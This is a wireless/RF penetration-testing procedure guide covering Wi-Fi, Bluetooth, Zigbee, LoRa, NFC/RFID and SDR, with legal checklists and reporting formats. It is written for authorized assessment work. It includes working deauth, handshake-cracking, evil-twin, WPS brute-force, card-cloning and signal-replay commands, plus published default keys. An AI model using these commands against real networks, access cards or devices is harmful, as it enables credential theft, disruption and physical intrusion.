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Wireless & RF Pentesting (Authorized)

Authorized environments only. Wireless and RF testing crosses statutory radio-emission lines (FCC Part 15 / CE / national equivalents) before a packet leaves the antenna. Operate on hardware/spectrum you own or have written authorization to exercise. RX-only enumeration of public bands is generally lawful; transmit, replay, deauth, and active jamming have hard legal limits in nearly every jurisdiction. See Legal & Ethics.

Overview
Pre-Engagement & Authorization
Wi-Fi (IEEE 802.11)
Bluetooth Classic & BLE
802.15.4 — Zigbee, Thread, Matter
Z-Wave
LoRa & LoRaWAN
NFC & RFID
Sub-GHz & ISM-Band Devices
Software-Defined Radio Fundamentals
Common Vulnerabilities
Evidence Collection
Reporting
Tools Reference
Reference Resources
Common Pitfalls
Legal & Ethical Considerations
Related SOPs

Overview

What is Wireless / RF Pentesting?

Authorized assessment of radio-frequency attack surfaces — Wi-Fi, Bluetooth, 802.15.4 mesh networks, LoRa, NFC/RFID, and arbitrary sub-GHz ISM-band devices. The discipline spans:

Protocol-layer testing — authentication, key-establishment, replay/relay resistance, downgrade attacks
Implementation-layer testing — vendor stack bugs, fuzzing, vendor-specific extensions
Hardware-layer testing — radio firmware (cross-linked to Firmware RE), side channels, glitch injection on RF SoCs
Operational testing — coverage / signal leakage / rogue AP detection, OPSEC of operator infrastructure

Threat Model

Attacker capability	Typical band	Required gear
Passive eavesdropper (RX-only)	Wi-Fi, BLE adv, LoRa, sub-GHz	Monitor-mode NIC, RTL-SDR / HackRF
Active probe / replay	All of the above	TX-capable adapter, HackRF, Flipper Zero
Mesh / handshake attacker	WPA2/3, BLE pairing, Zigbee join	Hostapd-WPE, mdk4, btlejack, KillerBee + ApiMote
Local-physical attacker	NFC, RFID 125 kHz / 13.56 MHz	Proxmark3, ChameleonMini
Long-range / SDR attacker	Anything within antenna gain	LimeSDR / BladeRF / USRP, GNU Radio toolchain

Field-rotation cadence

Wi-Fi (Wi-Fi 6/6E/7 rollout, WPA3 SAE-PT changes), Matter / Thread adoption, and Bluetooth core-spec revisions move quarterly. SDR hardware (HackRF, RTL-SDR, LimeSDR families) and the GNU Radio toolchain are slower-rotating. NFC/RFID and 125-kHz prox-card tradecraft is largely stable. Re-verify [verify 2026-04-26] markers and tool repos at the start of each engagement.

Pre-Engagement & Authorization

Wireless/RF testing transmits into shared spectrum and may interact with devices not owned by the customer (neighboring tenants' Wi-Fi, public BLE beacons in the building, IoT meters). Without written scope and a controlled test environment (Faraday cage, dedicated channel, sacrificial gear), a single deauth flood or PMKID capture session crosses into FCC Part 15 / Wireless Telegraphy Act 2006 / CFAA / Computer Misuse Act / EU Cybercrime Directive 2013/40/EU territory — see Legal & Ethics.

Authorization Checklist

Signed Rules of Engagement enumerates bands, channels, and modulations in scope. "Wi-Fi pentest" without a channel/SSID/BSSID list is too vague — collect MAC-address allow-lists, SSIDs, and frequency ranges in writing.
Active vs. passive explicitly scoped. RX-only enumeration (passive sniffing of public broadcasts, beacon collection, advertising-channel BLE scan) has very different legal weight than TX (deauth, replay, EAPOL injection, jam) — separate authorization for each.
Geographic / RF boundary defined. Faraday cage, RF-shielded room, or low-power test bench preferred for any TX work; if testing on a customer site, document the radius of intended emission and the operator's procedure if a non-target device responds.
Adjacent-tenant / neighbor risk acknowledged. Building-wide Wi-Fi deauth, BLE mass-disconnect, or Zigbee channel jamming inevitably affects other tenants — RoE must call out who has been notified and how complaints are routed.
Regulatory authority acknowledged in writing: FCC (US), Ofcom (UK), ARCEP (FR), BNetzA (DE), ANATEL (BR), MIC (JP), national telecoms regulator equivalent. Some bands (cellular, public-safety, aviation) require licensed-operator status; these are out of scope for typical pentest engagements unless the customer holds the license.
Hardware import/export controls reviewed if shipping SDR gear across borders — HackRF / LimeSDR / BladeRF / USRP families have ECCN classifications and may require export licenses for some destinations [verify 2026-04-26].
Frequency monitoring — if any test step involves transmission in a band that may be in active use by emergency services, aviation, or maritime (sub-GHz, GMRS in US, marine VHF), do not transmit. RX-only.
Sacrificial / lab gear identified — testing uses dedicated SSIDs, dedicated APs, sacrificial Bluetooth dongles, lab Zigbee coordinators. Operator's daily-driver phone and personal devices stay powered down or out of range during TX work.
Blue-team coordination confirmed with whoever runs the wireless IDS (Cisco WIPS, Aruba RFProtect, ExtremeWireless AirDefense), the SIEM, and the SOC. Names plus 24/7 contacts captured. Emergency-stop signal agreed.

Lab Environment Requirements

RF-shielded enclosure for any TX testing that requires repeatable conditions or that should not leak — desktop Faraday tents (Ramsey STE-3000, 3M shielding bag) are imperfect but adequate for low-power devices; full RF chambers are overkill for most pentest work [verify 2026-04-26].
Dedicated lab APs — ASUS RT-AX86U, TP-Link AX73, MikroTik hAP ax² and similar consumer hardware reproduce most real-world misconfigurations cheaply; pair with hostapd-WPE for AP-side spoofing rehearsal.
Lab BLE peripherals — nRF52-DK, nRF52840 dongle, ESP32-C3 / ESP32-S3, Raspberry Pi Pico W. Avoid testing against the operator's wearables.
Lab Zigbee/Thread/Matter — Silicon Labs EFR32MG24 dev kit, Nordic nRF52840 dongle (Zigbee + Thread), Texas Instruments CC2538/CC1352 launchpads.
SDR rehearsal — HackRF One + RTL-SDR + lab SMA antenna for any GNU Radio flowgraph that will eventually run in customer-facing scope.

Disclosure-Ready Posture

Stand up the evidence pipeline before the first probe-request capture. Capture every RF observation as PCAP with radiotap headers (Wi-Fi), HCI snoop (Bluetooth), or SDR baseband recording (.cfile / .sigmf) at the moment of test — chain-of-custody per Collection Log (UTC timestamps, source antenna, operator handle, SHA-256 of each artifact). Handshake captures, BLE pairing exchanges, and recovered keys are credentials in the evidentiary sense; encrypt at rest, store separately from the report deliverable, and schedule destruction in the engagement letter — OPSEC framing per OPSEC. SDR recordings are large (1 Msps × 2 channels × 8 bits ≈ 16 MB/s); plan storage and hash verification accordingly. Defang any IOC that ships in the final write-up (redact MAC addresses to OUI-only or vendor-prefix-only) and route the hand-off through Reporting & Disclosure.

Wi-Fi (IEEE 802.11)

Standards & Generations Quick Reference

Marketing name	IEEE	Year	Bands	Notes
Wi-Fi 4	802.11n	2009	2.4 / 5 GHz	MIMO introduction
Wi-Fi 5	802.11ac	2013	5 GHz	Wave 2 added MU-MIMO
Wi-Fi 6	802.11ax	2019	2.4 / 5 GHz	OFDMA, target wake time
Wi-Fi 6E	802.11ax	2020	+ 6 GHz	6 GHz band requires WPA3 + PMF [verify 2026-04-26]
Wi-Fi 7	802.11be	2024	2.4 / 5 / 6 GHz	Multi-Link Operation, 320 MHz channels [verify 2026-04-26]

Authentication & Key-Establishment Modes

Open — no auth; deprecated.
WEP — broken since 2001 (Fluhrer-Mantin-Shamir); never deploy. Treat as "open" if encountered.
WPA / WPA2-Personal (PSK) — 4-way handshake derives PTK from PSK + ANonce + SNonce + MAC pair. Capture the handshake (or PMKID — see below) and offline-crack.
WPA2-Enterprise (802.1X / EAP) — RADIUS-backed. Common EAP methods: EAP-TLS (mutual cert, strongest), PEAP/MSCHAPv2 (weak server-cert validation common, rogue-AP attacks effective), EAP-TTLS (similar exposure to PEAP), EAP-PWD.
WPA3-Personal (SAE / Dragonfly) — replaces PSK 4-way handshake with Simultaneous Authentication of Equals; resistant to offline dictionary attack on the handshake itself but vulnerable to side-channel timing variants (Dragonblood: CVE-2019-9494/9495/9496/9497/9498/9499 [verify 2026-04-26]) and to downgrade if WPA2 transition mode is enabled.
WPA3-Enterprise — same EAP methods as WPA2-Enterprise plus 192-bit Suite-B option.
OWE (Opportunistic Wireless Encryption) — RFC 8110; replaces "Open" with unauthenticated Diffie-Hellman; protects against passive eavesdropping on truly open networks. No mutual authentication.
PMF (Protected Management Frames, 802.11w) — required in WPA3, optional in WPA2. PMF blocks classic deauth/disassoc attacks on associated stations; check beacon Capability Information element.

Reconnaissance (Passive, RX-Only)

# Identify monitor-mode-capable interface (mt7612u, mt7921u, rt3070, ar9271, rtl8812au are common hits;
# check current support: `iw list` shows "monitor" under Supported interface modes)
iw dev
iw list | grep -A8 'Supported interface modes' | head -20

# Enable monitor mode on wlan0 — preferred via airmon-ng or iw + nmcli stop
sudo airmon-ng check kill   # disable NetworkManager / wpa_supplicant interference
sudo airmon-ng start wlan0  # creates wlan0mon

# Survey on 2.4 / 5 / 6 GHz (6 GHz requires Wi-Fi 6E hardware + recent kernel + regdom set to a 6E-allowed region)
sudo iw reg set US           # or appropriate domain
sudo airodump-ng wlan0mon -b abg --band a,b,g  # 2.4 + 5 GHz
sudo airodump-ng wlan0mon --band 6              # 6 GHz (Wi-Fi 6E)

# Kismet — long-running surveys with GPS, channel hopping, plugin ecosystem
# https://www.kismetwireless.net/
sudo kismet -c wlan0mon

# wifite — automated wrapper around aircrack-ng / hcxdumptool / hashcat
# https://github.com/derv82/wifite2
sudo wifite --kill --pmkid --no-wps  # passive PMKID first, no active WPS pin attempts

Handshake / PMKID Capture

# Channel-locked capture with airodump
sudo airodump-ng wlan0mon -c &lt;channel&gt; --bssid &lt;BSSID&gt; -w capture

# Targeted deauth (PMF must NOT be enforced; check beacon capabilities)
sudo aireplay-ng --deauth 5 -a &lt;BSSID&gt; -c &lt;client-MAC&gt; wlan0mon

# PMKID capture — no client interaction needed when AP includes PMKID in 1st EAPOL message (Steube, 2018)
# https://github.com/ZerBea/hcxdumptool
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=15

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 -E essid.txt pmkid.pcapng

# Crack WPA/WPA2 PSK (4-way handshake or PMKID)
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# WPA3 SAE — captured handshake is hash mode 22000 with different attack profile (no offline dict attack
# on uncompromised SAE; targets are downgrade-to-WPA2 transition mode + Dragonblood timing leaks)

Rogue AP / Evil Twin

# hostapd-WPE — modified hostapd with EAP credential capture
# https://github.com/OpenSecurityResearch/hostapd-wpe
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# eaphammer — automation around hostapd-wpe + karma + GTC downgrade
# https://github.com/s0lst1c3/eaphammer
sudo eaphammer --bssid &lt;bssid&gt; --essid &lt;victim-ssid&gt; --channel 6 --auth wpa-eap --creds

# Wi-Fi Pineapple (Hak5 commercial) — pre-built eviltwin/karma platform
# https://shop.hak5.org/products/wifi-pineapple

# ESP32 Marauder (open-source, ESP32 firmware)
# https://github.com/justcallmekoko/ESP32Marauder

Enterprise (802.1X / EAP) Attack Path

Stand up rogue AP with same SSID, mismatched but plausible cert (or use real cert if leaked).
Force client to associate (deauth + signal-strength preference, or wait for roaming).
Capture EAP exchange with hostapd-WPE — output for PEAP/MSCHAPv2 is hash mode 5500 (NetNTLMv1) / 27200 / 25400 (different EAP modes).
Crack offline with hashcat or wait — many MSCHAPv2 captures crack in seconds with a leaked DES-key approach (asleap historically).

Mitigation to test for:

Server certificate validation enforced (CA pinning, no "trust any cert from any RADIUS").
EAP-TLS (mutual cert) instead of PEAP/MSCHAPv2.
PMF required, not optional.

WPS

WPS PIN brute (Reaver / Bully) — most modern APs lock WPS after N failed attempts; some still don't [verify 2026-04-26].
Pixie Dust (Dominique Bongard, 2014) — offline attack against weak WPS PRNG implementations (Ralink, Realtek, Broadcom).
Recommend disable WPS entirely; verify in beacon capability.

# Reaver
sudo reaver -i wlan0mon -b &lt;BSSID&gt; -vv -K  # -K = pixiedust

# Bully (Reaver successor / parallel implementation)
sudo bully wlan0mon -b &lt;BSSID&gt; -d  # detect WPS lock state

Bluetooth Classic & BLE

Spec Reference & Pairing Modes

Bluetooth Core Spec is currently 5.4 (Feb 2023); 5.3 (2021) added LE Channel Sounding precursors and Encrypted Advertising Data; BLE-only stacks dominate IoT [verify 2026-04-26].

Bluetooth Classic (BR/EDR) pairing modes:

Legacy Pairing (pre-2.1) — PIN-based, broken by Shaked-Wool 2005. Should not exist on modern devices.
Secure Simple Pairing (SSP) — 2.1+, four association models: Just Works, Numeric Comparison, Passkey Entry, Out-of-Band.
Secure Connections (4.1+) — adds FIPS-approved P-256 ECDH; mandatory in 4.2+ Secure Connections Only mode.

BLE pairing modes (LE Legacy and LE Secure Connections):

LE Legacy — uses TK (temp key); offline-crackable if Just Works or 6-digit Passkey captured (crackle).
LE Secure Connections (4.2+) — P-256 ECDH; immune to crackle-style offline attacks.

Notable RF-Layer Attacks (Reference, Not How-To)

KNOB (CVE-2019-9506) — entropy-downgrade in BR/EDR key negotiation; mitigated in 5.1.
BIAS (CVE-2020-10135) — impersonation via fall-back to Legacy Authentication.
BLURtooth (CVE-2020-15802) — Cross-Transport Key Derivation overwrite.
BLESA (Carnegie Mellon, 2020) — reconnection authentication bypass on BLE LL.
BlueBorne (Armis, 2017, CVE-2017-1000251 et al.) — Linux/Android/iOS RCE via BNEP / SDP. Patched in mainline; legacy embedded devices still exposed.
BrakTooth (Singapore U Tech & Design, 2021) — 16+ CVEs in BR/EDR stacks.

Patch-state of these CVEs varies wildly across vendors; firmware-RE the target stack to confirm rather than trusting marketing.

Reconnaissance (RX-Only)

# bluetoothctl — userspace, BlueZ-backed
bluetoothctl
> power on
> scan on              # active scan; passive option below for RX-only

# hcitool — legacy but still useful for inquiry
sudo hcitool scan      # BR/EDR inquiry
sudo hcitool lescan    # BLE advertising scan (active)
sudo hcitool lescan --passive  # purely RX

# btmgmt for advanced setup (BlueZ 5.x)
sudo btmgmt --index 0 power on
sudo btmgmt --index 0 le on

# Wireshark — HCI snoop log capture (host-side)
sudo btmon -w bluetooth.btsnoop  # captures HCI events; adapter-dependent visibility into LL/PHY

# Sniffle (NCC Group / Sultan Qasim Khan) — TI CC1352 / CC26x2-based BLE 5 sniffer
# https://github.com/nccgroup/Sniffle
sniff_receiver.py -l                # list adapters
sniff_receiver.py -c 37              # advertising channel 37

# nRF Sniffer for Bluetooth LE (Nordic + Wireshark plugin) — nRF52840 dongle
# https://www.nordicsemi.com/Products/Development-tools/nrf-sniffer-for-bluetooth-le

GATT Enumeration

# Enumerate services / characteristics on a BLE peripheral
bluetoothctl
> connect &lt;addr&gt;
> menu gatt
> list-attributes
> read &lt;attr-handle&gt;
> write &lt;attr-handle&gt; 0x...

# gatttool (deprecated but functional)
sudo gatttool -b &lt;addr&gt; -I
> connect
> primary
> characteristics

# bleak (Python, cross-platform — Linux/macOS/Windows)
# https://github.com/hbldh/bleak
python -m bleak.discover

BLE Pairing / Encryption Attack Tooling

# btlejack (Damien Cauquil) — BLE 4.x sniffing + connection hijack
# https://github.com/virtualabs/btlejack
btlejack -d /dev/ttyACM0 -s          # passive scan
btlejack -d /dev/ttyACM0 -f &lt;ap-addr&gt; # follow connection

# crackle — LE Legacy Pairing TK recovery (Just Works / 6-digit passkey)
# https://github.com/mikeryan/crackle
crackle -i pairing.pcap

# mirage — BLE/Zigbee/SPI/UART unified attack framework (RCSL)
# https://github.com/RCayre/mirage
mirage ble_master TARGET=&lt;addr&gt;

802.15.4 — Zigbee, Thread, Matter

Standards Map

IEEE 802.15.4 — PHY/MAC. 2.4 GHz channels 11-26, 868/915 MHz sub-GHz channels.
Zigbee 3.0 — application layer over 802.15.4. Touchlink commissioning historically weak (Zllbruteforce / Z-Shave 2017 [verify 2026-04-26]).
Zigbee Green Power (ZGP) — energy-harvesting one-way frames; replay-vulnerable if not signed.
Thread (Thread Group, 2014+) — IPv6 mesh over 802.15.4 with DTLS-PSK commissioning; basis for Matter.
Matter (Connectivity Standards Alliance, 2022+; was "Project CHIP") — application layer over Wi-Fi or Thread; uses Matter Fabric ID + Node Operational Certificates [verify 2026-04-26].
Z-Wave — separate (next section); not 802.15.4.

Tooling

# KillerBee (River Loop Security) — Python framework for 802.15.4 sniffing/injection
# https://github.com/riverloopsec/killerbee
zbid                      # list attached 802.15.4 radios
zbdump -f 15 -w cap.pcap  # capture on channel 15
zbreplay -f 15 -r cap.pcap

# ApiMote / Atmel RZUSBstick / Texas Instruments CC2531 USB stick — common KillerBee-supported radios

# Z3sec / Zigator — newer 802.15.4 / Zigbee research tooling [verify 2026-04-26]

# Wireshark — IEEE 802.15.4 + Zigbee + Thread dissectors built in (configure decryption keys)

Common Findings

Default / hard-coded Trust Center Link Key (5A 69 67 42 65 65 41 6C 6C 69 61 6E 63 65 30 39 — "ZigBeeAlliance09") still used during legacy join.
Touchlink commissioning enabled with default master key (legacy Zigbee Light Link).
Thread commissioner credentials (PSK_c) cached / left enabled past the commissioning window.
Matter "Pairing Code" (passcode) reused across deployments rather than per-device unique codes.

Z-Wave

Z-Wave (Silicon Labs / Zensys lineage) operates in regional sub-GHz bands (US: 908.42 MHz, EU: 868.42 MHz [verify 2026-04-26]). Modern Z-Wave (S2 security framework, mandated for Z-Wave-Plus-V2 certified devices since 2017) uses ECDH key exchange (Curve25519) and AES-128 CCM. Legacy S0 had a known issue (EZ-Wave / Z-Shave 2017) where the network key could be intercepted during inclusion if downgrade was permitted [verify 2026-04-26].

# EZ-Wave (Joshua Wright et al.) — SDR-based Z-Wave research toolkit
# https://github.com/cureHsu/EZ-Wave  [verify 2026-04-26 — original repo URL has moved]

# Aeotec Z-Stick / UZB / Zooz — production Z-Wave controllers; useful for legitimate test coordinators
# Use Silicon Labs PC Controller or Z-Way for inclusion-traffic capture in controlled environments

LoRa & LoRaWAN

Standards Map

LoRa — Semtech proprietary chirp-spread-spectrum PHY/modulation (sub-GHz, region-specific bands: US 902-928 MHz, EU 863-870 MHz, AS 920-925 MHz).
LoRaWAN — LoRa Alliance MAC layer over LoRa PHY. Versions 1.0.x and 1.1 are the field-deployed flavors [verify 2026-04-26]. 1.1 added separate AppSKey / NwkSKey with key-rollover semantics; 1.0.x reuses single AppKey.
Activation modes: OTAA (Over-The-Air Activation, dynamic session keys, preferred) vs ABP (Activation By Personalization, hard-coded session keys, weaker — ABP devices that forget frame counters become replay-vulnerable).

Common Findings

ABP-only deployments with hard-coded NwkSKey + AppSKey baked into firmware — extract via Firmware RE and decrypt all uplinks/downlinks.
AppKey / network-server credentials reused across an entire fleet (single firmware image, no per-device provisioning).
LoRaWAN 1.0.x deployments with frame-counter reset tolerance (default behavior in some network servers) → replay window.
LoRa raw (no LoRaWAN MAC) point-to-point links with no authentication — common in hobbyist / Meshtastic setups; not a finding per se but worth flagging in scope.

Tooling

# LoRa-PHY decoding via SDR — gr-lora_sdr (rpp0)
# https://github.com/rpp0/gr-lora
# Demodulates LoRa chirps to bytes; pair with Wireshark LoRaWAN dissector

# gr-lora-sdr (Tapparel, EPFL) — alternative GNU Radio out-of-tree
# https://github.com/tapparelj/gr-lora_sdr  [verify 2026-04-26]

# ChirpStack — open-source LoRaWAN network server; useful for lab infrastructure
# https://www.chirpstack.io/

# Heltec / TTGO / Adafruit Feather LoRa boards — cheap test endpoints

NFC & RFID

Frequency Bands & Common Card Types

Band	Standard	Typical use	Common attack notes
125 kHz	EM4100 / HID Prox	Legacy access control	No crypto; clone with Proxmark3 in seconds
13.56 MHz	ISO 14443A	MIFARE Classic / DESFire	Classic broken (Crapto1 / mfoc / mfcuk); DESFire EV1+ strong if configured right
13.56 MHz	ISO 14443B	Some ePassports, some access
13.56 MHz	ISO 15693	iCLASS / ICODE / library tags	iCLASS Standard / SE has known issues; Elite is strong [verify 2026-04-26]
13.56 MHz	ISO 18092 (NFC)	Smartphones, payment	Tokenization on payment side; relay-attack research active

Tooling

# Proxmark3 (Iceman fork — actively maintained)
# https://github.com/RfidResearchGroup/proxmark3
proxmark3 /dev/ttyACM0
> hf 14a info               # 13.56 MHz card identify
> hf mf info                # MIFARE Classic info
> hf mf autopwn             # automated MIFARE attack
> lf hid read               # 125 kHz HID Prox read
> lf hid clone &lt;id&gt;         # clone to T5577 / EM4305 blank

# ChameleonMini / ChameleonUltra — card-emulation device
# https://github.com/emsec/ChameleonMini
# https://github.com/RfidResearchGroup/ChameleonUltra

# Flipper Zero — consumer-grade multi-protocol tool (125 kHz, 13.56 MHz, sub-GHz, IR, BLE, NFC)
# https://flipperzero.one/
# Note: regulatory and policy posture varies — some carriers / countries restrict sub-GHz TX

# libnfc (Linux NFC stack) — for ACR122U and similar PC/SC readers
# https://github.com/nfc-tools/libnfc
nfc-list
mfoc -P 500 -O dump.mfd     # MIFARE Classic key recovery
mfcuk -C -R 0:A -s 250 -S 250 -v 2  # offline-crackable nonces

Findings to Look For

Site uses MIFARE Classic 1K / 4K with default keys (A0A1A2A3A4A5, D3F7D3F7D3F7, etc.) or keys recovered via mfoc/mfcuk.
Site uses 125 kHz HID Prox with no rolling code → clone-and-replay trivial.
iCLASS Legacy / Standard with default master keys (HID published; readers shipped with shared default).
Mixed-tier deployments where high-security doors fall back to legacy on read failure.
Mobile-credential (HID Mobile Access, Nedap MACE) deployments without device-binding — relay-attack prone.

Sub-GHz & ISM-Band Devices

Garage-door openers, smart thermostats, weather stations, key-fob remotes, alarm sensors, and industrial telemetry frequently use 315 / 433.92 / 868 / 915 MHz with proprietary modulation (ASK/OOK, FSK). Many are unauthenticated or use fixed-code rolling-code algorithms with known weaknesses.

# Universal Radio Hacker (URH) — point-and-click protocol RE for unknown sub-GHz signals
# https://github.com/jopohl/urh
urh

# Inspectrum — visual inspection of `.cfile` / `.cu8` SDR captures
# https://github.com/miek/inspectrum

# rtl_433 — known-protocol decoder for 433/868/915 MHz sensors (weather, tire-pressure, energy meters)
# https://github.com/merbanan/rtl_433
rtl_433 -f 433.92M

# RfCat (Atlas Of Doom) — Yard Stick One firmware framework for sub-GHz TX/RX research
# https://github.com/atlas0fd00m/rfcat

Notable Vulnerability Classes

Fixed-code remotes (older garage doors, gate openers) — record once, replay.
Rolling-code with weak PRNG (some KeeLoq deployments) — Bohli et al. 2008, Eisenbarth et al. 2008 attacks.
Tire-Pressure Monitoring System (TPMS) broadcasts unencrypted on 315/433 MHz — vehicle-tracking research (Ishtiaq Rouf et al., 2010).
Smart-meter telemetry (some FCC Part 15 / wMBus C-mode deployments) — encryption optional in older deployments.

Software-Defined Radio Fundamentals

Hardware Comparison

Device	Frequency range	Bandwidth	Half/Full duplex	Typical price	Notes
RTL-SDR Blog v3	500 kHz - 1.766 GHz (with HF direct sampling)	2.4 Msps	RX-only	~$35	Cheapest entry; RX-only
HackRF One	1 MHz - 6 GHz	20 Msps	Half-duplex	~$300	Most popular generalist; TX power ~10-15 dBm [verify 2026-04-26]
LimeSDR Mini 2.0	10 MHz - 3.5 GHz	30.72 Msps	Full-duplex	~$400 [verify 2026-04-26]	Full-duplex enables relay/jam-and-listen
BladeRF 2.0 micro xA4/xA9	47 MHz - 6 GHz	61.44 Msps	Full-duplex	~$500-720	FPGA-resourced; xA9 = larger FPGA
USRP B200/B210	70 MHz - 6 GHz	up to 56 Msps	Full-duplex	~$1100-1700	Ettus / NI; lab-quality
Flipper Zero (sub-GHz module)	300-928 MHz (regional)	narrow-band	Half-duplex	~$170	Consumer; not a true SDR but useful

Software Stack

# GNU Radio Companion (GRC) — visual flowgraph for SDR signal-processing pipelines
# https://www.gnuradio.org/
gnuradio-companion

# GQRX — visual spectrum analyzer + audio demodulator (RX-only)
# https://gqrx.dk/
gqrx

# SDR++ — modern cross-platform spectrum/demod tool
# https://www.sdrpp.org/

# CubicSDR — alternative spectrum analyzer
# https://cubicsdr.com/

# SigDigger — interactive analyzer for unknown signals
# https://github.com/BatchDrake/SigDigger

# Universal Radio Hacker (URH) — see §Sub-GHz above

Common Workflow

Identify the carrier — wide-band sweep (GQRX, SDR++) to locate the active band.
Capture baseband — rtl_sdr / hackrf_transfer / osmocom_fft to .cfile / .cu8.
Inspect — Inspectrum or URH to see modulation, symbol rate, packet structure.
Demodulate — GNU Radio flowgraph (or URH built-in demodulator) to bytes.
Decode — interpret framing; cross-reference known protocol if any (rtl_433 catalog, sigidwiki.com).
Replay / fuzz / craft — only with authorization; TX requires hardware capable of TX (HackRF, LimeSDR, BladeRF, USRP).

# Capture 2 Msps centered at 433.92 MHz with HackRF
hackrf_transfer -r capture.cfile -f 433920000 -s 2000000 -n 20000000

# Capture with RTL-SDR (RX-only; cheaper)
rtl_sdr -f 433920000 -s 2400000 -g 49 capture.cu8

# Replay (HackRF) — only with authorization
hackrf_transfer -t capture.cfile -f 433920000 -s 2000000 -x 47

Common Vulnerabilities

Class	Wi-Fi	Bluetooth	Zigbee/Thread/Matter	LoRa	NFC/RFID	Sub-GHz
Weak / default credentials	PSK	Pairing PIN	Touchlink master key	AppKey	Default reader keys	Fixed code
Downgrade attack	WPA3→WPA2 transition	Secure→Legacy	—	—	—	—
Replay	Pre-PMF management frames	—	ZGP unsigned	LoRaWAN 1.0.x ABP	Static UID	Fixed-code remote
Rogue device / impersonation	Evil twin	BIAS	Rogue commissioner	Rogue gateway	Cloned card	Cloned remote
Side-channel / impl bug	Dragonblood timing	KNOB / BLURtooth	Vendor stack bugs	—	Crapto1 (MIFARE Classic)	KeeLoq weak PRNG
Eavesdrop (passive)	Open / WEP / OWE-only	Just-Works pairing	Unencrypted clusters	LoRa unauthenticated	—	Anything unencrypted

Evidence Collection

Wireless evidence is RF observation — capture the raw bytes (PCAP / HCI snoop / SDR baseband) plus the metadata that lets a reviewer reproduce:

Channel / frequency / sample rate / antenna at capture time
Operator handle, source MAC / BD_ADDR, GPS fix if mobile
UTC timestamps from a synced clock (NTP or GPS-disciplined)
SHA-256 of every artifact

Hash-and-store per Collection Log. Handshake captures and recovered keys are credentials; encrypt at rest, log access, schedule destruction in the engagement letter.

SDR .cfile / .cu8 baseband files are large (tens of MB per second of capture); plan storage capacity and hash-verification windows accordingly. Always retain the original baseband even if a derived demodulated PCAP exists — re-demodulation may yield new findings.

Reporting

Finding Format

**Title:** &lt;Tech&gt; · &lt;Component&gt; · &lt;Issue&gt; — e.g. "Wi-Fi · WPA2-Enterprise · PEAP/MSCHAPv2 with no server-cert validation"
**Severity:** Critical / High / Medium / Low / Info
**Tech:** Wi-Fi / Bluetooth / Zigbee / Thread / Matter / LoRa / Z-Wave / NFC / RFID / sub-GHz
**Bands / Channels:** &lt;list&gt;
**Affected Devices / SSIDs / BD_ADDRs / DevEUIs:** <list, redacted to OUI/vendor where appropriate>
**Description:** <what the misconfiguration / vuln is>
**Attack Path:** <step-by-step, named primitives, no production-data screenshots>
**Impact:** <confidentiality / integrity / availability + blast radius — e.g. "all corporate-Wi-Fi clients in this floor">
**Evidence:** <PCAP / HCI snoop / SDR cfile path + UTC timestamp + SHA-256>
**Remediation:** <vendor-native fix; config snippet preferred; vendor-doc link>
**References:** <CVE / vendor advisory / CIS Benchmark / IEEE / Bluetooth Core Spec section>

Remediation Priority

WPA2-Enterprise without server-cert validation (Critical — every credential cleanly stealable from any rogue AP within range)
Default / hard-coded keys recoverable from firmware (Critical — fleet-wide compromise)
WPA3 deployed in transition mode where downgrade-to-WPA2 is possible (High)
PMF disabled on enterprise Wi-Fi where deauth attacks against critical clients are feasible (High)
Bluetooth Classic Legacy Pairing or Just-Works on devices that handle sensitive data (High)
Zigbee / Thread / Matter commissioning credentials reused across deployment (High)
LoRaWAN 1.0.x ABP with hard-coded session keys (High)
MIFARE Classic / 125 kHz HID Prox in use for high-value access control (High)
Sub-GHz fixed-code or weak-rolling-code remotes for safety-relevant devices (High)
Open / OWE-only Wi-Fi where TLS-bearing apps assume the network is trusted (Medium)

Tools Reference

Tool	Domain	Purpose	Link
aircrack-ng	Wi-Fi	Capture, deauth, WEP/WPA crack	aircrack-ng.org
hcxdumptool / hcxtools	Wi-Fi	PMKID + 4-way handshake capture / hashcat conversion	github.com/ZerBea/hcxdumptool
hashcat	Wi-Fi / general	GPU-accelerated password cracking (modes 22000, 5500, 27200)	hashcat.net
Kismet	Wi-Fi / BLE / Zigbee	Long-running survey + plugin ecosystem	kismetwireless.net
wifite2	Wi-Fi	Automated wrapper around aircrack/hcxtools	github.com/derv82/wifite2
hostapd-wpe	Wi-Fi	Modified hostapd with EAP credential capture	github.com/OpenSecurityResearch/hostapd-wpe
eaphammer	Wi-Fi	Automated 802.1X / EAP attack	github.com/s0lst1c3/eaphammer
Reaver / Bully	Wi-Fi	WPS PIN / Pixie Dust	github.com/t6x/reaver-wps-fork-t6x [verify 2026-04-26]
mdk4	Wi-Fi	Stress test / deauth / beacon flood (lab-only)	github.com/aircrack-ng/mdk4
Wi-Fi Pineapple	Wi-Fi	Hak5 commercial rogue-AP appliance	shop.hak5.org
ESP32 Marauder	Wi-Fi / BLE	ESP32 firmware for portable WiFi/BLE recon	github.com/justcallmekoko/ESP32Marauder
BlueZ (bluetoothctl, btmon)	Bluetooth	Linux Bluetooth stack + sniffing	bluez.org
Sniffle	BLE	NCC Group BLE 5 sniffer (TI CC1352)	github.com/nccgroup/Sniffle
nRF Sniffer	BLE	Nordic + Wireshark plugin (nRF52840 dongle)	nordicsemi.com
btlejack	BLE	BLE 4.x sniffing + connection hijack	github.com/virtualabs/btlejack
crackle	BLE	LE Legacy TK recovery	github.com/mikeryan/crackle
mirage	BLE / Zigbee	Unified RF attack framework	github.com/RCayre/mirage
KillerBee	Zigbee / 802.15.4	Sniffing / injection toolkit	github.com/riverloopsec/killerbee
Z3sec / Zigator	Zigbee / 802.15.4	Newer 802.15.4 research framework [verify 2026-04-26]	search GitHub
EZ-Wave	Z-Wave	SDR-based Z-Wave research	[verify 2026-04-26 — repo URL has moved]
gr-lora	LoRa	GNU Radio LoRa-PHY decoder (rpp0)	github.com/rpp0/gr-lora
ChirpStack	LoRaWAN	Open-source network server (lab)	chirpstack.io
Proxmark3 (Iceman fork)	NFC / RFID	125 kHz + 13.56 MHz universal	github.com/RfidResearchGroup/proxmark3
ChameleonMini / Ultra	NFC	Card emulation	github.com/RfidResearchGroup/ChameleonUltra
Flipper Zero	Multi (sub-GHz / NFC / IR / BLE / 125 kHz)	Consumer-grade tool	flipperzero.one
libnfc + mfoc / mfcuk	NFC	MIFARE Classic key recovery	github.com/nfc-tools/libnfc
